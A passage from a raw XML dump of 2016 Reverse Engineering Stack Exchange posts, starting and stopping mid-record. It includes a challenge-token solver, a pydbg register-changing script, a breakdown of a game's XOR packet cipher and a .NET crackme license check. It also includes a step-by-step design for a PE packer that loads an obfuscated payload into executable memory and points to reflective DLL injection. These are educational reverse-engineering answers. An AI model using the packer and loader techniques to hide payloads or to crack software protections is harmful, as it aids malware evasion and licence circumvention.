lookup(unsigned char *cipher_table, unsigned int cipher_index);&#xA;&#xA;int main()&#xA;{&#xA;    // read lookup table from 1.exe&#xA;    unsigned char *cipher_table = (unsigned char*)malloc(0x32000);&#xA;    if (cipher_table == NULL) {&#xA;        printf(&quot;Failed to allocate 200K lookup table\r\n&quot;);&#xA;        return -1;&#xA;    }&#xA;    FILE *file = NULL;&#xA;    if (fopen_s(&amp;amp;file, &quot;1.exe&quot;, &quot;r&quot;) != 0) {&#xA;        printf(&quot;Failed to open 1.exe\r\n&quot;);&#xA;        return -1;&#xA;    }&#xA;    fseek(file, 0x6430, 0);&#xA;    fread(cipher_table, 4, 0xc800, file);&#xA;    fclose(file);&#xA;&#xA;    // Look up 57 key characters via indexes&#xA;    for (int i = 0; i &amp;lt; 57; i++) {&#xA;        char key = (char)((lookup(cipher_table, cipher_index[i]) &amp;gt;&amp;gt; ((i &amp;amp; 3) * 8)) ^ (xor_data[i]));&#xA;        printf(&quot;%c&quot;, key);&#xA;    }&#xA;    printf(&quot;\r\n&quot;);&#xA;    free(cipher_table);&#xA;&#xA;    return 0;&#xA;}&#xA;&#xA;// true = even; false=odd&#xA;bool parity(unsigned char check)&#xA;{&#xA;    check = (check &amp;amp; 0x55) + ((check &amp;gt;&amp;gt; 1) &amp;amp; 0x55);&#xA;    check = (check &amp;amp; 0x33) + ((check &amp;gt;&amp;gt; 2) &amp;amp; 0x33);&#xA;&#xA;    return (((check &amp;amp; 0x0F) + ((check &amp;gt;&amp;gt; 4) &amp;amp; 0x0F)) % 2);&#xA;}&#xA;&#xA;unsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index)&#xA;{&#xA;    unsigned int parity_check = 0, offset = 0;&#xA;    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));&#xA;    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));&#xA;    if (cipher_index != 0) {&#xA;        parity_check = cipher_index;&#xA;        do {&#xA;            if (!parity(parity_check &amp;amp; 0xFF)) offset = ~offset;&#xA;            parity_check = parity_check &amp;gt;&amp;gt; 8;&#xA;        } while (parity_check &amp;gt; 0);&#xA;    }&#xA;    cipher_index = *((unsigned int *)(cipher_table + (4 * ((cipher_index % 0xc800) + (offset &amp;amp; 1)))));&#xA;&#xA;    return ((~cipher_index &amp;amp; 0xFE000000) | cipher_index &amp;amp; 0x01FFFFFF) ^ 0xFE000000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The token is (spoiler):&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; &amp;lt;****TKN!34C38983E67F17EE146C25B8838E428D8B0AE58!TKN****&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14495" LastActivityDate="2016-02-06T04:58:57.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11956" PostTypeId="2" ParentId="11954" CreationDate="2016-02-06T05:16:00.443" Score="2" Body="&lt;p&gt;yes it is possible to but you have to set the dump characteristics manually&lt;br&gt;&#xA;suppose you are on an instruction &lt;code&gt;push 58&lt;/code&gt;&lt;br&gt;&#xA;this instruction will modify the stack &#xA;so select &lt;code&gt;esp&lt;/code&gt; from the registers pane &lt;code&gt;rightclick-&amp;gt;and follow in dump&lt;/code&gt;&lt;br&gt;&#xA;select some bytes and press &lt;code&gt;ctrl+e&lt;/code&gt;&lt;br&gt;&#xA;modify some bytes in the selection&lt;br&gt;&#xA;and reset it back to original bytes with &lt;code&gt;alt+backspace&lt;/code&gt;&lt;br&gt;&#xA;now if you execute &lt;code&gt;push 58&lt;/code&gt; the dump at position esp-4 will be highlighted in red &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e4RPr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e4RPr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-02-06T05:16:00.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11957" PostTypeId="1" CreationDate="2016-02-06T11:15:16.723" Score="1" ViewCount="5912" Body="&lt;p&gt;I was wondering to ask here what it takes to write a tiny simple packer for PE files?&#xA;I know how a PE file looks like but not in accurate details (if necessary I'll learn as much as it takes) and I know C/C++ and assembly but not as much as a pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the whole idea is to get acquainted with their implementations for further things like getting the idea how they work and ... as you know it's just the start point and when you hit it, you'll have a long journey ahead, like protectors and VMs, likewise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but for now I need to know even if in general terms, what a packer looks like.I already googled about the subject but they lack enough technical information.&#xA;if it's possible, introduce any book that could provide enough information beside practical examples or a project whatsoever.&lt;/p&gt;&#xA;" OwnerUserId="14965" LastActivityDate="2016-02-07T01:32:43.050" Title="What it takes to write a simple PE file packer from scratch?" Tags="|packers|protection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11958" PostTypeId="2" ParentId="11953" CreationDate="2016-02-06T15:11:45.080" Score="5" Body="&lt;p&gt;With global optimisation (link-time code generation) the compiler is free to ignore the declared calling convention for all functions that aren't externally visible - that is, neither exported nor otherwise pinned by having their addresses taken and passed to external code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can make the resulting binaries difficult to analyse since even the well-known parts of the startup code can morph and fuse under global optimisation. It is still recognisable by its behaviour and embedded magic constants (like those for initialising the stack guard cookie and its complement) but the success rate of library object code recognition by simple mechanisms like IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/index.shtml&quot;&gt;FLIRT&lt;/a&gt; takes a nose dive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in this situation the function prototypes pulled from headers or from IDA's signature files may be wrong as likely as not. This can lead IDA's analysis engine (and the reader) astray and thus cause problems even several call levels away from the problematic functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: with LTCG all bets are off and simple analysis code can become unreliable.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2016-02-06T15:11:45.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11960" PostTypeId="2" ParentId="11957" CreationDate="2016-02-07T01:32:43.050" Score="9" Body="&lt;p&gt;This is a topic that has a ton of depth depending on how crazy you want to go but I'll try to break it down into chunks as much as possible and you can look at each one as much as you want. I'll mention the theory behind the steps and some details about how to do them mechanically as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally the packer is going to do these things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, you'll take some executable code and turn it into a datablob&#xA;using a reversible algorithm. The code could be a function, or it&#xA;could be a whole program. A function is easy, a whole program&#xA;requires more work.&lt;/li&gt;&#xA;&lt;li&gt;You'll embed the datablob somewhere that the packer would get to it. You could &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/e2c9s1d7(v=vs.90).aspx&quot;&gt;embed it as a resource in the program&lt;/a&gt;, download it from the internet, or use a custom program to manually insert the payload into your packer's executable.&lt;/li&gt;&#xA;&lt;li&gt;At runtime, your packer will find the datablob, run the reverse algorithm and copy the result into an executable buffer (generally &lt;em&gt;VirtualAlloc&lt;/em&gt;, &lt;em&gt;VirtualProtect&lt;/em&gt; or one of the &lt;em&gt;NTDLL functions that those functions call&lt;/em&gt;). If you're embedding the payload as a resource you'll use one of the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ff468902(v=vs.85).aspx&quot;&gt;standard APIs&lt;/a&gt; to retrieve it. If you've manually embedded the payload in the packer's executable you'll need to have some sort of signature method that he packer and look for. Generally you'll call &lt;em&gt;GetModuleHandle&lt;/em&gt; to get the base address of yourself at runtime, and then you can parse your packer's PE file in memory to find the datablob yourself&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So with that said since you just want to get an insight on how they work and what to look for the easiest thing I can think of to do to have you write that could would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write a small bit of assembly to do something trivial (add 2 numbers, etc) and copy those bytes somewhere&lt;/li&gt;&#xA;&lt;li&gt;Write a simple XOR obfuscator to take those bytes and transform them into something that isn't code&lt;/li&gt;&#xA;&lt;li&gt;Use the resource APIs I linked to embed your obfuscated code as a file in your packer&lt;/li&gt;&#xA;&lt;li&gt;At runtime have the packer grab the resource, de-XOR the bytes, copy them to an executable buffer and call the function.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For step 4, in order to write the function you'll need to be able to write assembly code that conforms to a standard calling convention. MSDN has an article on them &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/k2b2ssfy.aspx&quot;&gt;here&lt;/a&gt;. Generally, you'll need to do something like use VirtualAlloc to create an executable buffer and use typedefs to treat that executable buffer like a function call. Typedefs will also let you specify the calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to write and pack a single function (not a whole program... yet) that performs some more sophisticated functionality, then I'd recommend looking into &lt;em&gt;position independent code&lt;/em&gt;. There are tons of examples on the internet for how to use PIC in the context of exploitation, but the technique applies here as well. Most examples will be in assembly, but you can write PIC code in C as well by writing a function that takes function pointers as parameters. You'll find the function address of the pointer using LoadLibrary, GetModuleHandle and GetProcAddress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the real fun is if you want to write a packer that takes an entire executable image (PE file) and does what I mentioned above. If that's the case, you'll still need to do the obfuscation and embedding the executable, but in order for the packer to work correctly you'll also have to know enough of the PE image to set up a &quot;normal&quot; execution environment for the packed program. If this is what you want to do, I would look at tutorials that go over manually loading DLLs in memory as they have to solve many of the same problems as your packer will. You can start with the reference on &lt;a href=&quot;http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf&quot;&gt;Reflective DLL Injection&lt;/a&gt; and go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In very broad detail, when you compile a program there is information embedded in something called your Import Address Table that tells the operating system what DLLs your program needs to run and what functions from those DLLs you'll be using. As part of the OS standing up your execution environment it makes sure to load any necessary DLLs in your address space, and then goes through your program's PE file to populate the IAT at runtime with the correct function addresses for whatever APIs you're using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially, from a development perspective if you want to use code to create sockets, you'll include Winsock2.h and add Ws2_32.lib to your linker dependencies. When your program starts, the OS is going to see this information embedded in your PE file, and load Ws2_32.dll into your processes address space for you, go into your IAT and update the placeholder function pointer to point to the loaded WSASocket (for example). As a packer you'll need to do all of this for the target program in order to have a &quot;normal&quot; environment. Parsing the PE is tedious but not very hard and between the DLL injection references there should be plenty of information available to you on how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have those steps down you can look at the crazier stuff that packers do like antidebugging, custom import tables, advanced techniques to embed the information, etc.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2016-02-07T01:32:43.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11961" PostTypeId="1" AcceptedAnswerId="11967" CreationDate="2016-02-07T04:34:08.837" Score="1" ViewCount="769" Body="&lt;p&gt;How do I compare in IDA PRO if constants are located in the same functions or not.. like filter from all constants if I search for 2 constants or more I want to know which function(s) contain all the constants I want to search for, to eliminate searching through all constants with other constants to find matching functions.. (this is how I do it now it's very pain staking)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Constants window looks like this &lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wnxYq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wnxYq.png&quot; alt=&quot;constants&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/8J7V0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8J7V0.png&quot; alt=&quot;constants2&quot;&gt;&lt;/a&gt;&#xA;&lt;br&gt;&#xA;How I do I mark red lines for bad addresses and blue ones for good ones haha&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4LipZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4LipZ.png&quot; alt=&quot;how i do&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;Is there any script or even better a plugin that does this job easier for me?&lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2016-02-07T23:19:41.317" Title="Ida Pro compare constants in same function or not" Tags="|ida|functions|script|compare|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11963" PostTypeId="1" AcceptedAnswerId="11965" CreationDate="2016-02-07T13:53:20.070" Score="1" ViewCount="461" Body="&lt;p&gt;In pydbg, is it possible to set a register without having it hit a break point first? Consider the following example break point handler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def handler_breakpoint(mdbg):&#xA;  print &quot;[+]Hit breakpoint&quot;&#xA;  mdbg.set_register(&quot;EIP&quot;, 0)&#xA;  return DBG_CONTINUE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works, but if I call &lt;code&gt;mdbg.set_register(&quot;EIP&quot;, 0)&lt;/code&gt; (Note, outside the handler it would be &lt;code&gt;dbg.set_register(&quot;EIP&quot;, 0)&lt;/code&gt;) from outside a break point handler it returns &lt;code&gt;pdx: [6] GetThreadContext(): The handle is invalid&lt;/code&gt;. How could I write this?&lt;/p&gt;&#xA;" OwnerUserId="14595" LastActivityDate="2016-02-08T08:49:53.983" Title="Pydbg setting registers without breakpoint?" Tags="|python|thread|register|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11964" PostTypeId="1" AcceptedAnswerId="11966" CreationDate="2016-02-07T15:23:29.857" Score="2" ViewCount="1958" Body="&lt;p&gt;Dear &lt;em&gt;ReverseEngineering&lt;/em&gt;@&lt;strong&gt;SE&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background information:&lt;/strong&gt;&#xA;I have reason to believe that an old game I've played is still using their XOR encryption for nearly all in/out-going packets. I also believe that the key used in the encryption scheme remains static when I analyze the packet data, at least the frequency of certain values indicate so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know for a fact that previous keys has been 9-byte ASCII keys of length&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt;&#xA;I am not able to decrypt the packages. I've tried just directly looping the key, XOR'ing the data that is contained in the TCP packages and also tried the following C# function for XOR cryptography (See appendix).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming Vigenere cipher is to be used as basis the previous keys suggest that the length might be 9 characters long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have complete control of what the plaintext (ASCII in this case) of decrypted packages are gonna contain since I can use the chat functionality in the game. Thus I have tried sending the same message and observed the data difference within Wireshark as seen here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plaintext as sent in game: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TestingTheKeyTestingTheKeyTestingTheKeyTestingTheKey&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the following snapshots are three packets of the same message. Notice how the length remains the same, further indicating a static key length:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iJNGI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Overview&lt;/a&gt; &lt;em&gt;(3 dots indicating data traffic)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uuXtI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Data side-by-side&lt;/a&gt; (&lt;em&gt;Non-header data highlighted&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally: Hex dumps of the same packets. (See appendix)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm rather new to cryptography but find the field very interesting and hope that a kind spirit is willing to provide some assistance. Anything is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Appendix code&lt;/strong&gt;&#xA;&lt;a href=&quot;http://pastebin.com/F0py05Lz&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastebin.com/F0py05Lz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hex dump (due to low rep)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000   aa 00 41 0e ad ce ff ce f0 ef e9 a0 f1 f8 9b a2&#xA;0010   fe df f8 e5 9c fb ed b8 a0 f6 f0 ca f7 ae d6 f8&#xA;0020   b4 9c fc e5 eb f7 a4 fb c8 a2 aa d5 f4 e1 cd a8&#xA;0030   e8 ef a2 a0 f8 c4 f1 fd 87 ff e3 c8 c3 e2 99 42&#xA;0040   de 51 ef 2b&#xA;&#xA;0000   aa 00 41 0e ae 9a a8 ca f2 eb bf a3 a1 aa cf f5&#xA;0010   fa dd fc b3 9f ab bf ec f7 f2 f2 ce a1 ad 86 aa&#xA;0020   e0 cb f8 e7 ef a1 a7 ab 9a f6 fd d1 f6 e5 9b ab&#xA;0030   b8 bd f6 f7 fc c6 f5 ab 84 af b1 9c 94 d9 fd 32&#xA;0040   91 07 59 ba&#xA;&#xA;0000   aa 00 41 0e af 9b fe 9a f9 e8 e3 f1 f2 a9 ce a3&#xA;0010   aa d6 ff ef cd f8 bc ed a1 a2 f9 cd fd ff d5 a9&#xA;0020   e1 9d a8 ec ec fd f5 f8 99 f7 ab 81 fd e6 c7 f9&#xA;0030   eb be f7 a1 ac cd f6 f7 d6 fc b2 9d c2 3f 2d 7a&#xA;0040   bd f6 42 d6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4068" LastEditorUserId="4068" LastEditDate="2016-02-11T23:37:24.087" LastActivityDate="2016-02-11T23:37:24.087" Title="XOR Encryption (XPost from Crypto)" Tags="|xor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11965" PostTypeId="2" ParentId="11963" CreationDate="2016-02-07T20:00:09.943" Score="0" Body="&lt;p&gt;changing the registers without an event is fundamentally not possible rethink and reformulate your query  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you do not want to do it in break-point handler  of any debugger you must suspend the process , Get the Thread's context and Set the thread's context and Resume the process &lt;/p&gt;&#xA;&#xA;&lt;p&gt;pydbg can do all this iirc in the script body out of break-point handler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT Added a Sample Script&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pydbg import *&#xA;from pydbg.defines import *&#xA;def handler_breakpoint (pydbg):&#xA;    if pydbg.first_breakpoint:&#xA;        return DBG_CONTINUE&#xA;def handler_access_violation (pydbg):&#xA;    if pydbg.dbg.u.Exception.dwFirstChance:&#xA;        print &quot;crashed and land here on FirstChance&quot;&#xA;    else:&#xA;        print &quot;crashed and land here on SecondChancee&quot;&#xA;    return DBG_EXCEPTION_NOT_HANDLED&#xA;&#xA;dbg = pydbg()&#xA;dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)&#xA;dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handler_access_violation)&#xA;dbg.load(&quot;c:\windows\system32\calc.exe&quot;)&#xA;print &quot;pid of calc.exe is = %d&quot; % dbg.pid&#xA;dbg.suspend_all_threads()&#xA;for thread_id in dbg.enumerate_threads():&#xA;    thread_handle  = dbg.open_thread(thread_id)&#xA;    thread_context = dbg.get_thread_context(thread_handle)&#xA;    print &quot;eax = 0x%08x&quot; % thread_context.Eax&#xA;    thread_context.Eax=0xdeadbeef&#xA;    dbg.set_thread_context(thread_context,0,thread_id)&#xA;    thread_context = dbg.get_thread_context(thread_handle)&#xA;    print &quot;new eax = 0x%08x&quot; % thread_context.Eax&#xA;    print &quot;yay we are going to crash now accessing random crap in eax&quot;  &#xA;dbg.resume_all_threads()&#xA;pydbg.debug_event_loop(dbg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;executed&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python changereg.py&#xA;pid of calc.exe is = 1940&#xA;eax = 0x00b52d6c&#xA;new eax = 0xdeadbeef&#xA;yay we are going to crash now accessing random crap in eax&#xA;crashed and land here on FirstChance&#xA;crashed and land here on SecondChancee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-02-08T08:49:53.983" LastActivityDate="2016-02-08T08:49:53.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11966" PostTypeId="2" ParentId="11964" CreationDate="2016-02-07T22:32:50.233" Score="12" Body="&lt;p&gt;The keys for your three messages appear to be &lt;code&gt;cf7810d22&lt;/code&gt;, &lt;code&gt;42096edac&lt;/code&gt; and &lt;code&gt;4ea34873a&lt;/code&gt; respectively.  (Note: those are 9-byte ASCII text strings, not hex numbers, even though clearly all the characters appear to be hex digits!)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;OK, so how did I figure that out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, before even looking at the code you posted, I just took the messages from your hex dump, converted them back into binary (using a quick Perl script), and XORed them together.  The resulting XORed messages look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ perl -0777 -E '$a = &amp;lt;&amp;gt;; $b = &amp;lt;&amp;gt;; print $a ^ $b' packet1.dat packet2.dat | xxd&#xA;0000000: 0000 0000 0354 5704 0204 5603 5052 5457  .....TW...V.PRTW&#xA;0000010: 0402 0456 0350 5254 5704 0204 5603 5052  ...V.PRTW...V.PR&#xA;0000020: 5457 0402 0456 0350 5254 5704 0204 5603  TW...V.PRTW...V.&#xA;0000030: 5052 5457 0402 0456 0350 5254 573b 6470  PRTW...V.PRTW;dp&#xA;0000040: 4f56 b691                                OV..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;XORing the ciphertexts together like this cancels out the plaintext (assuming that it's the same in both messages), leaving just the XOR of the keys.  We can see that there's a clear repeating 9-byte pattern in the XORed data, strongly suggesting that the messages have indeed been encrypted with a repeating 9-byte key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if that was &lt;em&gt;all&lt;/em&gt;, we could find the key simply by taking the known plaintext string &lt;code&gt;TestingTheKeyTestingTheKeyTestingTheKeyTestingTheKey&lt;/code&gt;, XORing it with the ciphertext at different positions (since I didn't know exactly where the known plaintext would occur in the encrypted message), and looking for a result that looks like a plausible key.  In crypto jargon, this method is known as &lt;a href=&quot;http://travisdazell.blogspot.in/2012/11/many-time-pad-attack-crib-drag.html&quot;&gt;crib dragging&lt;/a&gt;, a term that dates back at least to &lt;a href=&quot;https://en.wikipedia.org/wiki/Bletchley_Park&quot;&gt;Bletchley Park&lt;/a&gt; during WWII.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas, when I tried that, it didn't yield anything that looked anything like a repeating 9-byte text string, as I expected the key to be.  In fact, there were hardly any printable ASCII characters in the output at all.  Looking more closely at the ciphertext, I noticed that most of its bytes had the high bit set, something that &lt;em&gt;can't&lt;/em&gt; happen when you XOR two ASCII characters together.  So clearly there had to be something else going on, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point, I took a closer look at your (presumably previously reverse-engineered) decryption code, and realized that it actually XORed the message with &lt;em&gt;three&lt;/em&gt; different byte streams:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the repeating 9-byte key (applied starting from the sixth byte),&lt;/li&gt;&#xA;&lt;li&gt;the fifth byte of the ciphertext (&lt;code&gt;Incrementor&lt;/code&gt;, presumably some kind of a message counter; this is what caused the high bits of each byte to be set, since in your messages it had values from &lt;code&gt;0xAD&lt;/code&gt; to &lt;code&gt;0xAF&lt;/code&gt;), applied to every following byte, and&lt;/li&gt;&#xA;&lt;li&gt;a byte value (&lt;code&gt;KeyVal&lt;/code&gt;) that starts at zero and is incremented by one every time the key repeats, i.e. every ninth byte after the sixth.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(The code also skips step 3 if &lt;code&gt;KeyVal&lt;/code&gt; equals &lt;code&gt;Incrementor&lt;/code&gt;, presumably to prevent the last two steps from canceling each other out.  That little quirk actually has little if any cryptographic significance, and in any case, it will never happen for these short messages with high &lt;code&gt;Incrementor&lt;/code&gt; values.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, conveniently, the XOR operation, like addition, is commutative and associative &amp;mdash; that is, if you XOR two or more bytes together, it doesn't matter which order you do it in: &lt;code&gt;(A XOR B) XOR C == A XOR (B XOR C) == A XOR (C XOR B) == (A XOR C) XOR B == ...&lt;/code&gt;.  Thus, since I knew the &lt;code&gt;Incrementor&lt;/code&gt; value for each message (since it's given &lt;em&gt;in&lt;/em&gt; the encrypted message) and had a pretty solid guess for the repeating key length (which let me calculate &lt;code&gt;KeyVal&lt;/code&gt; for each byte), I could just XOR each encrypted byte with those two values, leaving me with &lt;em&gt;just&lt;/em&gt; the plaintext XORed with the repeating key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it was easy enough to discover by crib-dragging that the known plaintext string actually starts two bytes after the beginning of the encrypted portion (and so seven bytes after the beginning of the whole message), and obtain the 9-byte key for each message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(What I &lt;em&gt;can't&lt;/em&gt; tell from just your three sample messages is how those 9-byte key strings actually are generated, or how the game knows which key string to XOR a given message with.  For that, you may need to analyze more message packets and see if you can find any kind of pattern to the keys.)&lt;/p&gt;&#xA;" OwnerUserId="1499" LastEditorUserId="1499" LastEditDate="2016-02-07T22:39:01.230" LastActivityDate="2016-02-07T22:39:01.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11967" PostTypeId="2" ParentId="11961" CreationDate="2016-02-07T23:14:06.473" Score="1" Body="&lt;p&gt;IDAPython is the way to go when you want to do such things. I'd say something like that should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CONST_1 = &quot;1234h&quot;&#xA;CONST_2 = &quot;ABCDh&quot;&#xA;for func in Functions():&#xA;    got_first, got_second = False, False&#xA;    func_start = GetFunctionAttr(func,FUNCATTR_START)&#xA;    func_end = GetFunctionAttr(func,FUNCATTR_END)&#xA;    for ea in Heads(func_start, func_end):&#xA;        cur_line = GetDisasm(ea)&#xA;        got_first |= CONST_1 in cur_line&#xA;        got_second |= CONST_2 in cur_line&#xA;        if got_first and got_second:&#xA;            print &quot;Found a match at 0x{:08x}&quot;.format(func_start)&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your binary is really big and it's taking too long, you might think about optimizing the comparaison with operands.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastEditorUserId="8679" LastEditDate="2016-02-07T23:19:41.317" LastActivityDate="2016-02-07T23:19:41.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11969" PostTypeId="1" AcceptedAnswerId="11972" CreationDate="2016-02-08T16:23:03.903" Score="1" ViewCount="241" Body="&lt;p&gt;I'm trying to get into reverse engineering and am beginning with .NET, attempting various CrackMes and KeygenMes that I've found on the internet. Until now, I haven't really struggled but this latest one is driving me mad:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tuts4you.com/download.php?view.1894&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?view.1894&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VT link if needed: &lt;a href=&quot;https://www.virustotal.com/en/file/9bd07d7cbd053f6ad27792487679b18b2f72b589440d8ab81f9cdc4d84301178/analysis/1454947890/&quot; rel=&quot;nofollow&quot;&gt;https://www.virustotal.com/en/file/9bd07d7cbd053f6ad27792487679b18b2f72b589440d8ab81f9cdc4d84301178/analysis/1454947890/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiling with ILSpy reveals the license check performed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    FileStream fileStream = new FileStream(&quot;key.dat&quot;, FileMode.Open, FileAccess.Read);&#xA;    StreamReader streamReader = new StreamReader(fileStream);&#xA;    string text = streamReader.ReadToEnd();&#xA;    byte[] bytes = Encoding.Unicode.GetBytes(this.TextBox1.Text);&#xA;    SHA512 sHA = new SHA512Managed();&#xA;    sHA.ComputeHash(bytes);&#xA;    if (Operators.ConditionalCompareObjectEqual(this.CodeCrypt(text), Convert.ToBase64String(sHA.Hash), true))&#xA;    {&#xA;        Interaction.MsgBox(&quot;Good job, make a keymaker&quot;, MsgBoxStyle.Information, &quot;Done&quot;);&#xA;    }&#xA;    else&#xA;    {&#xA;        Interaction.MsgBox(&quot;Try again, it is very simple&quot;, MsgBoxStyle.Critical, &quot;No ....&quot;);&#xA;    